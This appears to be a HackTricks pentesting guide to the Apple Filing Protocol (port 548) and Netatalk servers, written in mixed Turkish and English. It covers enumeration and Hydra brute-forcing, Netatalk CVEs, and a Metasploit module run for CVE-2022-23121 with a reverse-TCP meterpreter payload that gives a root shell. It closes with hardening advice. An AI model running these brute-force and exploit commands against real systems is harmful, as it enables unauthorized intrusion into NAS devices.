548 - Pentesting Apple Dosyalama Protokolü (AFP)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
The Apple Filing Protocol (AFP), once known as AppleTalk Filing Protocol, is a specialized network protocol included within Apple File Service (AFS). It is designed to provide file services for macOS and the classic Mac OS. AFP stands out for supporting Unicode file names, POSIX-style and ACL permissions, resource forks, named extended attributes and sophisticated file-locking mechanisms.
Although AFP has been superseded by SMB in modern macOS releases (SMB is the default since OS X 10.9), it is still encountered in:
- Eski macOS / Mac OS 9 ortamları
- Açık kaynaklı Netatalk daemon’u barındıran NAS cihazları (QNAP, Synology, Western Digital, TrueNAS…)
- Time-Machine-over-AFP’nin hâlâ etkin olduğu karma-işletim sistemi ağları
Varsayılan TCP Port: 548 (AFP over TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
Keşif
Hızlı banner / server info
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
Kullanışlı AFP NSE script’leri:
| Script | Ne yapar |
|---|---|
| afp-ls | Kullanılabilir AFP hacimlerini ve dosyalarını listeler |
| afp-brute | AFP girişine karşı parola brute-force |
| afp-serverinfo | Sunucu adını, makine tipini, AFP sürümünü, desteklenen UAMs vb. bilgilerini döker |
| afp-showmount | Paylaşımları ACL’leriyle birlikte listeler |
| afp-path-vuln | directory-traversal (CVE-2010-0533) zafiyetini tespit eder (ve exploit edebilir) |
Daha fazla kontrol gerekiyorsa NSE brute-force script’i Hydra/Medusa ile birleştirilebilir:
hydra -L users.txt -P passwords.txt afp://<IP>
Eğer zaten kimlik bilgilerine sahipseniz, Nmap’s AFP scripts become much more useful çünkü afp-serverinfo leaks the advertised UAMs (auth methods), afp-showmount ve afp-ls ise erişilebilir shares, ACLs ve ilginç files’ı enumerate edebilir:
nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>
Dikkat edin:
- Machine Type: Netatalk
afp-serverinfoçıktısında, genellikle Apple’ın kendi AFP uygulaması yerine bir NAS / Unix sunucusu anlamına gelir. - UAMs —
DHX,DHX2,CleartxtveyaGuestgibi — ulaşılabilir oturum açma yolları ve eski / zayıf kimlik doğrulamanın etkin olup olmadığı hakkında doğrudan ipucu verir. - Share ACLs
afp-showmountçıktısından; world-readable veya drop-box tarzı paylaşımlar genellikle birimi mount etmeden önce yedekleri,.appldosyalarını ve kullanıcı meta verilerini açığa çıkarır.
Interacting with shares
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (afpfs-ng kullanılarak ‑ çoğu dağıtımda paketlenmiş)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
Bir kez mount edildikten sonra, klasik Mac resource-fork’larının gizli ._* AppleDouble dosyalarına kaydedildiğini unutmayın – bunlar genellikle DFIR araçlarının kaçırdığı ilginç metadata içerir.
Netatalk hedeflerinde bu metadata backend’i exploitability açısından da önemlidir:
ea = admetadata’nın AppleDouble v2 dosyalarında /.AppleDoubledizinlerinde saklandığı anlamına gelir.ea = sysveyaea = sambametadata’yı bunun yerine dosya sistemi genişletilmiş özniteliklerinde saklar.- Netatalk 4.2+’de eski
appledoubleseçeneği kaldırıldı ve backend yalnızcaeaseçeneği ile kontrol ediliyor.
Ofansif açıdan bu, AppleDouble-oriented bugs’un sunucuda erişilebilir olma olasılığının daha yüksek olup olmadığını hızlıca belirlemenizi sağlar.
Yaygın Zafiyetler ve Sömürme
Netatalk unauthenticated RCE chain (2022)
Bazı NAS üreticileri Netatalk ≤3.1.12 kullanıyordu. parse_entries() içinde sınır kontrolü eksikliği, bir saldırganın kötü amaçlı bir AppleDouble başlığı oluşturmasına ve kimlik doğrulamadan önce remote root elde etmesine olanak tanıyordu (CVSS 9.8 – CVE-2022-23121). Western-Digital PR4100’ü sömüren PoC içeren NCC Group tarafından hazırlanmış tam bir inceleme mevcuttur.
Metasploit (>= 6.3) exploit/linux/netatalk/parse_entries modülünü içerir; bu modül payload’u DSI WRITE ile teslim eder.
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
If the target runs an affected QNAP/Synology firmware, successful exploitation yields a shell as root.
Netatalk OpenSession heap overflow (2018)
Eski Netatalk (3.0.0 - 3.1.11), DSI OpenSession handler’ında bir out-of-bounds write zafiyetine sahiptir; bu, kimlik doğrulaması gerektirmeyen kod çalıştırmaya izin verir (CVE-2018-1160). Tenable Research tarafından detaylı analiz ve PoC yayımlandı.
Newer Netatalk attack surface (2022-2024)
Son Netatalk duyuruları, saldırı yüzeyinin artık sadece parse_entries() ve OpenSession işleme ile sınırlı olmadığını gösteriyor:
- CVE-2022-45188: özel olarak hazırlanmış bir
.appldosyasıafp_getappliçinde bir heap overflow tetikleyebilir; bu, özellikle bir paylaşıma dosya yazabiliyorsanız ve sunucu FCE / notify özelliklerini çalıştırıyorsa önemlidir. - CVE-2023-42464: type confusion hatası, Spotlight RPC işleyicilerinde
afp.confiçindespotlight = yesetkinleştirildiğinde erişilebilir hale gelebilir (varsayılan olarak devre dışı). - CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: login ile ilişkili yollarında tek baytlık heap out-of-bounds write’ler; Netatalk 2.4.1 / 3.1.19 / 3.2.1’de düzeltildi. Bu hatalar ilginç çünkü sömürülebilirlik yapılandırılmış UAMs’e bağlıdır:
uams_clrtxt.so+ PAM destekli ClearTxt giriş, CVE-2024-38439 ile ilişkiliFPLoginExtyolunu açığa çıkarır.uams_dhx.so+ PAM destekli DHX giriş, CVE-2024-38440 için savunmasız yola ulaşır.uams_guest.soGuest giriş yolunu CVE-2024-38441 için erişilebilir tutar.
Bu, afp-serverinfo çıktısının sadece fingerprinting verisi olmadığı; exploit geliştirme veya NAS firmware triage işlemine zaman harcamadan önce hangi login parser’ın açık olduğunu belirlemenize yardımcı olduğu anlamına gelir.
Other notable issues
- CVE-2022-22995 – AppleDouble v2 etkinleştirildiğinde symlink yönlendirmesi sonucu arbitrary file write / RCE (3.1.0 - 3.1.17).
- CVE-2010-0533 – Apple Mac OS X 10.6 AFP’de Directory traversal (
afp-path-vuln.nsetarafından tespit edildi). - Çok sayıda memory-safety hatası 2024 Netatalk releases sırasında tekrar düzeltildi;
afp-serverinfoçıktısındaNetatalktespit ederseniz, sadece 2018/2022 hatalarının önemli olduğunu varsaymadan önce açığa çıkan UAMs / Spotlight / metadata backend’i sunucu sürümüyle ilişkilendirmek için bir dakika harcayın.
Defensive Recommendations
- AFP’yi devre dışı bırakın (sadece kesinlikle gerekliyse) – bunun yerine SMB3 veya NFS kullanın.
- Eğer AFP kalmak zorundaysa, Netatalk’i ≥ 3.1.18 veya 4.x’e yükseltin, veya 2022/2023/2024 yamalarını geriye taşıyan satıcı firmware’ini uygulayın.
- Güçlü UAMs uygulayın (örn. DHX2), clear-text ve guest girişlerini devre dışı bırakın.
- TCP 548’i güvenilen alt ağlarla sınırlayın ve uzaktan açığa çıkarıldığında AFP’yi bir VPN içine alın.
- CI/CD’de periyodik olarak
nmap -p 548 --script afp-*ile tarama yaparak sahte / düşürülmüş cihazları tespit edin.
Brute-Force
References
- Netatalk Security Advisory CVE-2022-23121 – “Arbitrary code execution in parse_entries” https://netatalk.io/security/CVE-2022-23121
- Tenable Research – “Exploiting an 18-Year-Old Bug (CVE-2018-1160)” https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
- Netatalk Security Advisories index https://netatalk.io/security.html
- Netatalk 4.2.0 Release Notes https://netatalk.io/4.2/ReleaseNotes4.2.0
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


